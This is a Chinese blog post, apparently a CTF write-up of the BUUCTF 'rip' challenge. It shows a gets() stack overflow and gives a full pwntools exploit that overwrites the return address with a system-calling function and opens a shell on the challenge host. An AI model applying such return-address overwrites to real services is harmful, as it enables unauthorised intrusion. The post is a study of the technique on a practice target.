BUUCTF之rip

题目如下

首先下载下来文件后,使用checksec查看开启了哪些保护

直接放入IDA里面查看

建议不要过于依赖f5,这道题的反汇编代码非常简单,关键就在于gets,直接双击s查看

15个字节便可以直接拿下返回地址了,现在已经知道溢出的长度,只需要找到系统调用,这道题应该就可以完成

 

在main函数的下面可以看到一个fun函数,已经标注出来了是一个系统调用

故而可以得到

 

 

payload = "A" * 15 + p64(0x401186)

 

直接上exp

 

 

from pwn import *

r = remote("node4.buuoj.cn", 27663)

payload = "A" * 15 + p64(0x401186)

r.sendline(payload)

r.interactive()

简单介绍一下上面代码的意思

from pwn import * :这个学过python都知道吧,调用pwntools

remoter( , ):相当于就是远程连接,remoter函数可以直接连接url并且指定端口

sendline():发送一行数据,并且在末尾加上换行符\n

interactive():最后这个就是与shell交互,这样就可以操作获得flag

成功获得flag

总的来说,我感觉这道题就是典型且最基础的栈溢题目,只要搞懂栈溢出,这道题还是相当简单的ヾ(≧▽≦*)o

 

posted @ 2022-10-18 14:20  Eip的浪漫  阅读(361)  评论(0编辑  收藏  举报